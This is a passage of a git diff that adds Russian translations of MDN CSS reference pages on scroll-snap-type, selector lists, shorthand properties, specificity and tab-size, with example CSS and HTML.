+  &lt;div&gt;3&lt;/div&gt;
+  &lt;div&gt;4&lt;/div&gt;
+  &lt;div&gt;5&lt;/div&gt;
+&lt;/div&gt;
+
+&lt;div class="container x mandatory-scroll-snapping" dir="rtl"&gt;
+  &lt;div&gt;X Mand. RTL&lt;/div&gt;
+  &lt;div&gt;2&lt;/div&gt;
+  &lt;div&gt;3&lt;/div&gt;
+  &lt;div&gt;4&lt;/div&gt;
+  &lt;div&gt;5&lt;/div&gt;
+&lt;/div&gt;
+
+&lt;div class="container x proximity-scroll-snapping" dir="rtl"&gt;
+  &lt;div&gt;X Prox. RTL&lt;/div&gt;
+  &lt;div&gt;2&lt;/div&gt;
+  &lt;div&gt;3&lt;/div&gt;
+  &lt;div&gt;4&lt;/div&gt;
+  &lt;div&gt;5&lt;/div&gt;
+&lt;/div&gt;
+
+&lt;div class="container y mandatory-scroll-snapping" dir="rtl"&gt;
+  &lt;div&gt;Y Mand. RTL&lt;/div&gt;
+  &lt;div&gt;2&lt;/div&gt;
+  &lt;div&gt;3&lt;/div&gt;
+  &lt;div&gt;4&lt;/div&gt;
+  &lt;div&gt;5&lt;/div&gt;
+&lt;/div&gt;
+
+&lt;div class="container y proximity-scroll-snapping" dir="rtl"&gt;
+  &lt;div&gt;Y Prox. RTL&lt;/div&gt;
+  &lt;div&gt;2&lt;/div&gt;
+  &lt;div&gt;3&lt;/div&gt;
+  &lt;div&gt;4&lt;/div&gt;
+  &lt;div&gt;5&lt;/div&gt;
+&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">/* setup */
+html, body, .holster {
+  height: 100%;
+}
+.holster {
+  display: flex;
+  align-items: center;
+  justify-content: space-between;
+  flex-flow: column nowrap;
+  font-family: monospace;
+}
+
+.container {
+  display: flex;
+  overflow: auto;
+  outline: 1px dashed lightgray;
+  flex: none;
+}
+
+.container.x {
+  width: 100%;
+  height: 128px;
+  flex-flow: row nowrap;
+}
+
+.container.y {
+  width: 256px;
+  height: 256px;
+  flex-flow: column nowrap;
+}
+/* scroll-snap */
+.x.mandatory-scroll-snapping {
+  scroll-snap-type: x mandatory;
+}
+
+.y.mandatory-scroll-snapping {
+  scroll-snap-type: y mandatory;
+}
+
+.x.proximity-scroll-snapping {
+  scroll-snap-type: x proximity;
+}
+
+.y.proximity-scroll-snapping {
+  scroll-snap-type: y proximity;
+}
+
+.container &gt; div {
+  text-align: center;
+  scroll-snap-align: center;
+  flex: none;
+}
+
+.x.container &gt; div {
+  line-height: 128px;
+  font-size: 64px;
+  width: 100%;
+  height: 128px;
+}
+
+.y.container &gt; div {
+  line-height: 256px;
+  font-size: 128px;
+  width: 256px;
+  height: 100%;
+}
+/* appearance fixes */
+.y.container &gt; div:first-child {
+  line-height: 1.3;
+  font-size: 64px;
+}
+/* coloration */
+.container &gt; div:nth-child(even) {
+  background-color: #87EA87;
+}
+
+.container &gt; div:nth-child(odd) {
+  background-color: #87CCEA;
+}
+</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample("Пример", "100%", "1630")}}</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Scroll Snap Points", "#propdef-scroll-snap-type", "scroll-snap-type")}}</td>
+   <td>{{Spec2("CSS Scroll Snap Points")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("css.properties.scroll-snap-type")}}</p>
diff --git a/files/ru/web/css/selector_list/index.html b/files/ru/web/css/selector_list/index.html
new file mode 100644
index 0000000000..3bf50932d0
--- /dev/null
+++ b/files/ru/web/css/selector_list/index.html
@@ -0,0 +1,99 @@
+---
+title: Список селекторов
+slug: Web/CSS/Selector_list
+tags:
+  - Верстка
+  - список селекторов
+translation_of: Web/CSS/Selector_list
+---
+<div>{{CSSRef}}</div>
+
+<p>CSS <strong>список селекторов</strong> (<code>,</code>) выбирает все соответствующие ноды.</p>
+
+<pre class="brush: css no-line-numbers">/* Выбирает все соответствующие элементы */
+span,
+div {
+  border: red 2px solid;
+}</pre>
+
+<p>Для уменьшения размеры таблицы стилей, можно использовать разделяемый запятой список селекторов.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">element, element, element { <em>свойства стиля</em> }</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Группирование_на_одной_линии">Группирование на одной линии</h3>
+
+<p>Группирование селекторов списком, разделенным запятой, на одной строк.</p>
+
+<pre class="brush: css">h1, h2, h3, h4, h5, h6 { font-family: helvetica; }
+</pre>
+
+<h3 id="Мультистрочное_группирование">Мультистрочное группирование</h3>
+
+<p>Группирование селекторов списком, разделенным запятой, на нескольких строках.</p>
+
+<pre class="brush: css">#main,
+.content,
+article {
+  font-size: 1.1em;
+}
+</pre>
+
+<h3 id="Невалидные_списки_селекторов">Невалидные списки селекторов</h3>
+
+<p>Недостатком использования списков селекторов является то, что они не являются эквивалентными:</p>
+
+<pre class="brush: css">h1 { font-family: sans-serif }
+h2:maybe-unsupported { font-family: sans-serif }
+h3 { font-family: sans-serif }</pre>
+
+<pre class="brush: css">h1, h2:maybe-unsupported, h3 { font-family: sans-serif }</pre>
+
+<p>Это происходит потому, что один неподдерживаемый селектор в списке селекторов делает недействительным все правило.</p>
+
+<p>Есть способ исправить это - нужно использовать селектор {{CSSxRef(":is", ":is()")}}, который просто игнорирует недопустимые селекторы в своих аргумента, но за счет этого, все селекторы имеют одинаковую спецификацию, так как {{CSSxRef(":is", ":is()")}} вычисляет спецификацию.</p>
+
+<pre class="brush: css">h1 { font-family: sans-serif }
+h2:maybe-unsupported { font-family: sans-serif }
+h3 { font-family: sans-serif }</pre>
+
+<pre class="brush: css">:is(h1, h2:maybe-unsupported, h3) { font-family: sans-serif }</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Selectors", "#grouping", "Selector Lists")}}</td>
+   <td>{{Spec2("CSS4 Selectors")}}</td>
+   <td>Переименованно в "selector list"</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#grouping', 'grouping')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Первое определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("css.selectors.list")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>The {{CSSxRef(":is", ":is()")}} {{Experimental_Inline}} and {{CSSxRef(":where", ":where()")}} {{Experimental_Inline}} pseudo-classes, which don't have the legacy mistake that is selector list invalidation.</li>
+</ul>
diff --git a/files/ru/web/css/shorthand_properties/index.html b/files/ru/web/css/shorthand_properties/index.html
new file mode 100644
index 0000000000..5ac6911db1
--- /dev/null
+++ b/files/ru/web/css/shorthand_properties/index.html
@@ -0,0 +1,143 @@
+---
+title: Краткая форма записи свойств
+slug: Web/CSS/Shorthand_properties
+tags:
+  - CSS
+  - Guide
+  - Reference
+translation_of: Web/CSS/Shorthand_properties
+---
+<div>{{cssref}}</div>
+
+<p class="summary"><strong><dfn>Сокращенные свойства</dfn></strong> - это такие CSS свойства, которые позволяют одновременно устанавливать значения нескольких других свойств. Используя сокращенное свойство, вы можете писать более сжатые (и часто более читаемые) таблицы стилей, экономя время и энергию.</p>
+
+<p>The CSS specification defines shorthand properties to group the definition of common properties acting on the same theme. For instance, the CSS {{cssxref("background")}} property is a shorthand property that's able to define the values of {{cssxref("background-color")}}, {{cssxref("background-image")}}, {{cssxref("background-repeat")}}, and {{cssxref("background-position")}}. Similarly, the most common font-related properties can be defined using the shorthand {{cssxref("font")}}, and the different margins around a box can be defined using the {{cssxref("margin")}} shorthand.</p>
+
+<h2 id="Tricky_edge_cases" name="Tricky_edge_cases">Tricky edge cases</h2>
+
+<p>Even if they are very convenient to use, there are a few edge cases to keep in mind when using them:</p>
+
+<ol>
+ <li>A value which is not specified is set to its initial value. That sounds anecdotal, but it really means that it <strong>overrides</strong> previously set values. Therefore:
+
+  <pre class="brush:css">background-color: red;
+background: url(images/bg.gif) no-repeat left top;
+</pre>
+  will not set the color of the background to <code>red</code> but to {{cssxref("background-color")}}'s default, <code>transparent</code>, as the second rule has precedence.</li>
+ <li>Only the individual properties values can inherit. As missing values are replaced by their initial value, it is impossible to allow inheritance of individual properties by omitting them. The keyword <code>inherit</code> can be applied to a property, but only as a whole, not as a keyword for one value or another. That means that the only way to make some specific value to be inherited is to use the longhand property with the keyword <code>inherit</code>.</li>
+ <li>Shorthand properties try not to force a specific order for the values of the properties they replace. This works well when these properties use values of different types, as the order has no importance, but this does not work as easily when several properties can have identical values. Handling of these cases are grouped in several categories:
+  <ol>
+   <li>Shorthands handling properties related to edges of a box, like {{cssxref("border-style")}}, {{cssxref("margin")}} or {{cssxref("padding")}}, always use a consistent 1-to-4-value syntax representing those edges:
+    <table>
+     <tbody>
+      <tr>
+       <td style="width: 79px;"><img alt="border1.png" src="/files/3646/border1.png"></td>
+       <td><em>The 1-value syntax</em>: <code>border-width: 1em</code> — The unique value represents all edges</td>
+      </tr>
+      <tr>
+       <td><img alt="border2.png" src="/files/3647/border2.png"></td>
+       <td><em>The 2-value syntax</em>: <code>border-width: 1em 2em</code> — The first value represents the vertical, that is top and bottom, edges, the second the horizontal ones, that is the left and right ones.</td>
+      </tr>
+      <tr>
+       <td><img alt="border3.png" src="/files/3648/border3.png"></td>
+       <td><em>The 3-value syntax</em>: <code>border-width: 1em 2em 3em</code> — The first value represents the top edge, the second, the horizontal, that is left and right, ones, and the third value the bottom edge</td>
+      </tr>
+      <tr>
+       <td><img alt="border4.png" src="/files/3649/border4.png"></td>
+       <td>
+        <p><em>The 4-value syntax</em>: <code>border-width: 1em 2em 3em 4em</code> — The four values represent the top, right, bottom and left edges respectively, always in that order, that is clock-wise starting at the top (The initial letter of Top-Right-Bottom-Left matches the order of the consonant of the word <em>trouble</em>: TRBL)</p>
+       </td>
+      </tr>
+     </tbody>
+    </table>
+   </li>
+   <li>Similarly, shorthands handling properties related to corners of a box, like {{cssxref("border-radius")}}, always use a consistent 1-to-4-value syntax representing those corners:
+    <table>
+     <tbody>
+      <tr>
+       <td style="width: 69px;"><img alt="corner1.png" src="/files/3650/corner1.png"></td>
+       <td><em>The 1-value syntax</em>: <code>border-radius: 1em</code> — The unique value represents all corners</td>
+      </tr>
+      <tr>
+       <td><img alt="corner2.png" src="/files/3651/corner2.png"></td>
+       <td><em>The 2-value syntax</em>: <code>border-radius: 1em 2em</code> — The first value represents the top left and bottom right corner, the second the top right and bottom left ones.</td>
+      </tr>
+      <tr>
+       <td><img alt="corner3.png" src="/files/3652/corner3.png"></td>
+       <td><em>The 3-value syntax</em>: <code>border-radius: 1em 2em 3em</code> — The first value represents the top left corner, the second the top right and bottom left ones, and the third value the bottom right corner</td>
+      </tr>
+      <tr>
+       <td><img alt="corner4.png" src="/files/3653/corner4.png"></td>
+       <td>
+        <p><em>The 4-value syntax</em>: <code>border-radius: 1em 2em 3em 4em</code> — The four values represent the top left, top right, bottom right and bottom left corners respectively, always in that order, that is clock-wise starting at the top left.</p>
+       </td>
+      </tr>
+     </tbody>
+    </table>
+   </li>
+  </ol>
+ </li>
+</ol>
+
+<h2 id="Background_Properties" name="Background_Properties">Background properties</h2>
+
+<p>A background with the following properties ...</p>
+
+<pre class="brush:css">background-color: #000;
+background-image: url(images/bg.gif);
+background-repeat: no-repeat;
+background-position: left top;</pre>
+
+<p>... can be shortened to just one declaration:</p>
+
+<pre class="brush:css">background: #000 url(images/bg.gif) no-repeat left top;</pre>
+
+<p>(The shorthand form is actually the equivalent of the longhand properties above plus <code>background-attachment: scroll</code> and, in CSS3, some additional properties.)</p>
+
+<h2 id="Font_Properties" name="Font_Properties">Font properties</h2>
+
+<p>The following declarations ...</p>
+
+<pre class="brush:css">font-style: italic;
+font-weight: bold;
+font-size: .8em;
+line-height: 1.2;
+font-family: Arial, sans-serif;</pre>
+
+<p>... can be shortened to the following:</p>
+
+<pre class="brush:css">font: italic bold .8em/1.2 Arial, sans-serif;</pre>
+
+<p>This shorthand declaration is actually equivalent to the longhand declarations above plus <code>font-variant: normal</code> and <code>font-size-adjust: none</code> (CSS2.0 / CSS3), <code>font-stretch: normal</code> (CSS3).</p>
+
+<h2 id="Border_Properties" name="Border_Properties">Border properties</h2>
+
+<p>With borders, the width, color, and style can be simplified into one declaration. For example, the following CSS ...</p>
+
+<pre class="brush:css">border-width: 1px;
+border-style: solid;
+border-color: #000;</pre>
+
+<p>... can be simplified as:</p>
+
+<pre class="brush:css">border: 1px solid #000;</pre>
+
+<h2 id="Margin_and_Padding_Properties" name="Margin_and_Padding_Properties">Margin and padding properties</h2>
+
+<p>Shorthand versions of margin and padding values work the same way. The following CSS declarations ...</p>
+
+<pre class="brush:css">margin-top: 10px;
+margin-right: 5px;
+margin-bottom: 10px;
+margin-left: 5px;</pre>
+
+<p>... are the same as the following declaration. Note that the values are in clockwise order, beginning at the top: top, right, bottom, then left (TRBL, the consonants in "trouble").</p>
+
+<pre class="brush:css">margin: 10px 5px 10px 5px;</pre>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li>{{css_key_concepts}}</li>
+ <li>Shorthand properties: {{cssxref("animation")}}, {{cssxref("background")}}, {{cssxref("border")}}, {{cssxref("border-bottom")}}, {{cssxref("border-color")}}, {{cssxref("border-left")}}, {{cssxref("border-radius")}}, {{cssxref("border-right")}}, {{cssxref("border-style")}}, {{cssxref("border-top")}}, {{cssxref("border-width")}}, {{cssxref("column-rule")}}, {{cssxref("columns")}}, {{cssxref("flex")}}, {{cssxref("flex-flow")}}, {{cssxref("font")}}, {{cssxref("grid")}}, {{cssxref("grid-area")}}, {{cssxref("grid-column")}}, {{cssxref("grid-row")}}, {{cssxref("grid-template")}}, {{cssxref("list-style")}}, {{cssxref("margin")}}, {{cssxref("offset")}}, {{cssxref("outline")}}, {{cssxref("overflow")}}, {{cssxref("padding")}}, {{cssxref("place-content")}}, {{cssxref("place-items")}}, {{cssxref("place-self")}}, {{cssxref("text-decoration")}}, {{cssxref("transition")}}</li>
+</ul>
diff --git a/files/ru/web/css/specificity/index.html b/files/ru/web/css/specificity/index.html
new file mode 100644
index 0000000000..79e8065987
--- /dev/null
+++ b/files/ru/web/css/specificity/index.html
@@ -0,0 +1,240 @@
+---
+title: Специфичность
+slug: Web/CSS/Specificity
+tags:
+  - CSS
+  - specifity
+  - Порядок применения правил
+  - Примеры
+  - Руководство
+  - Специфичность селектора
+translation_of: Web/CSS/Specificity
+---
+<p>{{cssref}}</p>
+
+<h2 id="Определение">Определение</h2>
+
+<p><span class="seoSummary"><strong>Специфичность</strong> - это способ, с помощью которого браузеры определяют, какие значения свойств CSS наиболее соответствуют элементу и, следовательно, будут применены. Специфичность основана на правилах соответствия, состоящих из <a href="/ru/docs/Web/CSS/Reference#Selectors" title="/ru/docs/Web/CSS/Reference#Selectors">селекторов CSS</a> различных типов.</span></p>
+
+<h2 id="Как_вычисляется_специфичность">Как вычисляется <span class="seoSummary">специфичность</span>?</h2>
+
+<p>Специфичность представляет собой вес, придаваемый конкретному правилу CSS. Вес правила определяется количеством каждого из <a href="#Selector_Types">типов селекторов</a> в данном правиле. Если у нескольких правил специфичность одинакова, то к элементу применяется последнее по порядку правило CSS. Специфичность имеет значение только в том случае, если один элемент соответствует нескольким правилам. Согласно спецификации CSS, правило для <a href="#directly-targeted-elements">непосредственно соответствующего элемента</a> всегда будет иметь больший приоритет, чем правила, унаследованные от предка.</p>
+
+<div class="note">Примечание: <a href="#tree-proximity-ignorance">Взаимное расположение элементов</a> в дереве документа не влияет на специфичность.</div>
+
+<h3 id="Типы_селекторов">Типы селекторов</h3>
+
+<p>В следующем списке типы селекторов расположены по возрастанию специфичности:</p>
+
+<ol start="0">
+ <li>селекторы типов элементов (например, <code>h1</code>) и псевдоэлементов (например, <code>::before</code>).</li>
+ <li>селекторы классов (например, <code>.example</code>), селекторы атрибутов (например, <code>[type="radio"]</code>) и псевдокласов (например, <code>:hover</code>).</li>
+ <li>селекторы идентификаторов (например, <code>#example</code>).</li>
+</ol>
+
+<p>Универсальный селектор (<code>*</code>), комбинаторы (<code>+</code>, <code>&gt;</code>, <code>~</code>, '<code> </code>') и отрицающий псевдокласс (<code>:not()</code>) не влияют на специфичность. (Однако селекторы, объявленные <em>внутри</em> <code>:not()</code>, влияют)</p>
+
+<p>Стили, обьявленные в элементе (например, <code>style="font-weight:bold"</code>), всегда переопределяют любые правила из внешних файлов стилей и, таким образом, их специфичность можно считать наивысшей.</p>
+
+<h3 id="Важное_исключение_из_правил_-_!important">Важное исключение из правил - <code>!important</code></h3>
+
+<p>Когда при объявлении стиля используется модификатор <code>!important</code>, это объявление получает наивысший приоритет среди всех прочих объявлений. Хотя технически модификатор <code>!important</code> не имеет со специфичностью ничего общего, он непосредственно на неё влияет. Поскольку <code>!important</code> усложняет отладку, нарушая естественное <a href="/ru-RU/docs/Web/CSS/Cascade">каскадирование</a> ваших стилей, он <strong>не приветствуется</strong> и следует избегать его использования. Если к элементу применимы два взаимоисключающих стиля с модификатором <code>!important</code>, то применен будет стиль с большей специфичностью.</p>
+
+<p><strong>Несколько практических советов:</strong></p>
+
+<ul>
+ <li><strong>Всегда пытайтесь использовать</strong> специфичность, а <code>!important</code> используйте только в крайних случаях</li>
+ <li><strong>Используйте</strong> <code>!important</code> <strong>только</strong> в страничных стилях, которые переопределяют стили сайта или внешние стили (стили библиотек, таких как Bootstrap или normalize.css)</li>
+ <li><strong>Никогда не используйте</strong> <code>!important</code>, если вы пишете плагин или мэшап.</li>
+ <li><strong>Никогда не используйте</strong> <code>!important</code> в общем CSS сайта.</li>
+</ul>
+
+<p><strong>Вместо <code>!important</code> можно:</strong></p>
+
+<ol>
+ <li>Лучше использовать каскадные свойства CSS</li>
+ <li>
+  <p>Использовать более специфичные правила. Чтобы сделать правило более специфичным и повысить его приоритет, укажите один элемент или несколько перед нужным вам элементом:</p>
+
+  <pre class="lang-html prettyprint prettyprinted"><code><span class="tag">&lt;div</span><span class="pln"> </span><span class="atn">id</span><span class="pun">=</span><span class="atv">"test"</span><span class="tag">&gt;</span><span class="pln">
+  </span><span class="tag">&lt;span&gt;</span><span class="pln">Text</span><span class="tag">&lt;/span&gt;</span><span class="pln">
+</span><span class="tag">&lt;/div&gt;</span></code></pre>
+
+  <pre class="lang-css prettyprint prettyprinted"><code><span class="pln">div</span><span class="pun">#</span><span class="pln">test span </span><span class="pun">{</span><span class="pln"> </span><span class="kwd">color</span><span class="pun">:</span><span class="pln"> green </span><span class="pun">}</span><span class="pln">
+div span { color: blue }
+span </span><span class="pun">{</span><span class="pln"> </span><span class="kwd">color</span><span class="pun">:</span><span class="pln"> red </span><span class="pun">}</span><span class="pln">
+</span></code></pre>
+ </li>
+</ol>
+
+<p>Вне зависимости от порядка следования правил, текст всегда будет зелёным, поскольку у этого правила наибольшая специфичность (при этом, правило для голубого цвета имеет преимущество перед правилом для красного, несмотря на порядок следования).</p>
+
+<p><strong>Вам придется использовать <code>!important</code> если:</strong></p>
+
+<p>А) Первый сценарий:</p>
+
+<ol>
+ <li>У вас есть общий файл стилей, устанавливающий правила для внешнего вида сайта.</li>
+ <li>Вы пользуетесь (или кто-то другой пользуется) весьма сомнительным средством - объявлением стилей непосредственно в элементах</li>
+</ol>
+
+<p>В таком случае вам придется объявить некоторые стили в вашем общем файле CSS как <code>!important</code>, переопределяя, таким образом, стили, установленные в самих элементах.</p>
+
+<p>Пример из практики: Некоторые плохо написанные <strong>плагины jQuery</strong>, использующие присваивание стилей самим элементам.</p>
+
+<p>Б) Еще сценарий:</p>
+
+<pre class="default prettyprint prettyprinted"><code><span class="com">#someElement p {</span><span class="pln">
+    color</span><span class="pun">:</span><span class="pln"> blue</span><span class="pun">;</span><span class="pln">
+</span><span class="pun">}</span><span class="pln">
+
+p</span><span class="pun">.</span><span class="pln">awesome </span><span class="pun">{</span><span class="pln">
+    color</span><span class="pun">:</span><span class="pln"> red</span><span class="pun">;</span><span class="pln">
+</span><span class="pun">}</span></code></pre>
+
+<p>Как сделать цвет текста в абзацах <code>awesome</code> красным всегда, даже если они расположены внутри <code>#someElement</code>? Без <code>!important</code> у первого правила специфичность больше и оно имеет преимущество перед вторым.</p>
+
+<p><strong>Как преодолеть !important</strong></p>
+
+<p>A) Просто добавьте еще одно правило с модификатором <code>!important</code>, у которого селектор имеет большую специфичность (благодаря добавлению типа элемента (тэга), идентификатора (атрибута id) или класса к селектору).</p>
+
+<p>Пример большей специфичности:</p>
+
+<pre class="default prettyprint prettyprinted"><code><span class="pln">table td    </span><span class="pun">{</span><span class="pln">height</span><span class="pun">:</span><span class="pln"> </span><span class="lit">50px</span><span class="pln"> </span><span class="pun">!</span><span class="pln">important</span><span class="pun">;}</span><span class="pln">
+</span><span class="pun">.</span><span class="pln">myTable td </span><span class="pun">{</span><span class="pln">height</span><span class="pun">:</span><span class="pln"> </span><span class="lit">50px</span><span class="pln"> </span><span class="pun">!</span><span class="pln">important</span><span class="pun">;}</span><span class="pln">
+</span><span class="com">#myTable td {height: 50px !important;}</span></code></pre>
+
+<p>Б) Или добавьте правило с модификатором <code>!important</code> и таким же селектором, но расположенное в файле после существующего (при прочих равных выигрывает последнее объявленное правило):</p>
+
+<pre class="default prettyprint prettyprinted"><code><span class="pln">td </span><span class="pun">{</span><span class="pln">height</span><span class="pun">:</span><span class="pln"> </span><span class="lit">50px</span><span class="pln"> </span><span class="pun">!</span><span class="pln">important</span><span class="pun">;}</span></code></pre>
+
+<p>В) Или перепишите первоначальное правило без использования <code>!important</code>.</p>
+
+<p><strong>С более подробной информацией можно ознакомиться по следующим ссылкам: </strong></p>
+
+<p><a href="http://stackoverflow.com/questions/3706819/what-are-the-implications-of-using-important-in-css">Когда надо использовать <code>!important</code> в CSS?</a></p>
+
+<p><a href="http://stackoverflow.com/questions/9245353/what-does-important-in-css-mean">Что означает <code>!important</code> в CSS?</a></p>
+
+<p><a href="http://stackoverflow.com/questions/5701149/when-to-use-important-property-in-css">Когда в CSS надо использовать модификатор <code>!important</code></a></p>
+
+<p><a href="http://stackoverflow.com/questions/11178673/how-to-override-important">Как преодолеть <code>!important</code></a></p>
+
+<p><a href="http://stackoverflow.com/questions/2042497/when-to-use-important-to-save-the-day-when-working-with-css">Как использовать модификатор <code>!important</code> в CSS чтобы сэкономить время</a></p>
+
+<p> </p>
+
+<h3 id="Не_исключение_-_not()">Не исключение - <code>:not()</code></h3>
+
+<p>Отрицающий псевдокласс <code>:not</code> <em>не учитывается</em> как псевдокласс при расчете специфичности. Однако селекторы, расположенные внутри <code>:not</code>, при подсчете количества <a href="#selector-type">по типам селекторов</a> рассматриваются как обычные селекторы и учитываются.</p>
+
+<p>Следующий фрагмент CSS ...</p>
+
+<pre class="brush: css">div.outer p {
+  color: orange;
+}
+div:not(.outer) p {
+  color: lime;
+}
+</pre>
+
+<p>... примененный к такому HTML ...</p>
+
+<pre class="brush: html">&lt;div class="outer"&gt;
+  &lt;p&gt;Это div.outer&lt;/p&gt;
+  &lt;div class="inner"&gt;
+    &lt;p&gt;Это текст в div.inner&lt;/p&gt;
+  &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>... отобразится на экране так:</p>
+
+<p><span style="color: #ffa500;">Это div.outer</span></p>
+
+<p><span style="color: #00ff00;">Это текст в div.inner</span></p>
+
+<h3 id="Специфичность_основана_на_форме">Специфичность основана на форме</h3>
+
+<p>Специфичность опирается на форму селектора. В следующем примере, при определении специфичности селектора, селектор <code>*[id="foo"]</code> считается селектором атрибута, даже при том, что ищет идентификатор.</p>
+
+<p>Эти объявления стилей ...</p>
+
+<pre class="brush: css">*#foo {
+  color: green;
+}
+*[id="foo"] {
+  color: purple;
+}
+</pre>
+
+<p>... примененные к нижеследующей разметке ...</p>
+
+<pre class="brush: html">&lt;p id="foo"&gt;Это пример.&lt;/p&gt;
+</pre>
+
+<p>... в результате выглядят так:</p>
+
+<p><span style="color: #008000;">Это пример.</span></p>
+
+<p>Потому что оба правила соответствуют одному и тому же элементу, но селектор идентификатора имеет большую специфичность.</p>
+
+<h3 id="Независимость_от_расположения"><a id="tree-proximity-ignorance" name="tree-proximity-ignorance">Независимость от расположения</a></h3>
+
+<p>Взаимное расположение элементов, указанных в селекторе не влияет на специфичность правила. Следующие объявления стилей ...</p>
+
+<pre class="brush: css">body h1 {
+  color: green;
+}
+html h1 {
+  color: purple;
+}
+</pre>
+
+<p>... в сочетании со следующим HTML ...</p>
+
+<pre class="brush: html">&lt;html&gt;
+&lt;body&gt;
+  &lt;h1&gt;Вот заголовок!&lt;/h1&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>... отобразится как:</p>
+
+<p><span style="color: #800080;">Вот заголовок!</span></p>
+
+<p>Потому что, хотя оба объявления имеют одинаковое количество <a href="#selector-type">типов селекторов</a>, но селектор <code>html h1</code> объявлен последним.</p>
+
+<h3 id="Непосредственно_соответствующие_элементы_и_унаследованные_стили"><a id="directly-targeted-elements" name="directly-targeted-elements">Непосредственно соответствующие элементы и унаследованные стили</a></h3>
+
+<p>Стили непосредственно соответствующих элементов всегда предпочитаются унаследованным стилям, независимо от специфичности унаследованного правила. Этот CSS ...</p>
+
+<pre class="brush: css" style="font-size: 14px;">#parent {
+  color: green;
+}
+h1 {
+  color: purple;
+}</pre>
+
+<p>... с таким HTML ...</p>
+
+<pre class="brush: html" style="font-size: 14px;">&lt;html&gt;
+&lt;body id="parent"&gt;
+  &lt;h1&gt;Вот заголовок!&lt;/h1&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>... тоже отобразится как:</p>
+
+<p><span style="color: #800080;">Вот заголовок!</span></p>
+
+<p>Потому что селектор <code>h1</code> непосредственно соответствует элементу, а стиль, задающий зеленый цвет, всего лишь унаследован от родителя.</p>
+
+<h2 id="Дополнительная_информация">Дополнительная информация</h2>
+
+<ul>
+ <li>Калькулятор специфичности: Интерактивный сайт, помогущий вам проверить и понять ваши собственные правила CSS - <a href="https://specificity.keegan.st/">https://specificity.keegan.st/</a></li>
+ <li>Специфичность селекторов в CSS3 - <a class="external" href="http://www.w3.org/TR/selectors/#specificity" rel="freelink">http://www.w3.org/TR/selectors/#specificity</a></li>
+ <li>{{ CSS_key_concepts() }}</li>
+</ul>
diff --git a/files/ru/web/css/tab-size/index.html b/files/ru/web/css/tab-size/index.html
new file mode 100644
index 0000000000..a66d51195d
--- /dev/null
+++ b/files/ru/web/css/tab-size/index.html
@@ -0,0 +1,89 @@
+---
+title: tab-size
+slug: Web/CSS/tab-size
+translation_of: Web/CSS/tab-size
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p class="seoSummary">CSS-свойство <strong><code>tab-size</code></strong> используется для настройки ширины символа табуляции (<code>U+0009</code>).</p>
+
+<pre class="brush:css no-line-numbers">/* &lt;integer&gt; значения */
+tab-size: 4;
+tab-size: 0;
+
+/* &lt;length&gt; значения */
+tab-size: 10px;
+tab-size: 2em;
+
+/* Глобальные значения */
+tab-size: inherit;
+tab-size: initial;
+tab-size: unset;
+</pre>
+
+<p>{{CSSInfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt>{{CSSxRef("&lt;integer&gt;")}}</dt>
+ <dd>Количество пробелов в табе. Должно быть неотрицательным.</dd>
+ <dt>{{CSSxRef("&lt;length&gt;")}}</dt>
+ <dd>Ширина таба. Должно быть неотрицательным.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: css">pre {
+  tab-size: 4; /* Установит размер таба в 4 пробела */
+}
+</pre>
+
+<pre class="brush: css">pre {
+  tab-size: 0; /* Удалит отступ */
+}
+</pre>
+
+<pre class="brush: css">pre {
+  tab-size: 2; /* Установит размер таба в 2 пробела */
+}
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Text', '#tab-size-property', 'tab-size')}}</td>
+   <td>{{Spec2('CSS3 Text')}}</td>
+   <td>Первое определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("css.properties.tab-size")}}</p>
+
+<p> </p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a class="external" href="https://lists.w3.org/Archives/Public/www-style/2008Dec/0009.html"><cite>Управление размером символа табуляции (U+0009)</cite></a>, электронное письмо Anne van Kesteren в CSSWG.</li>
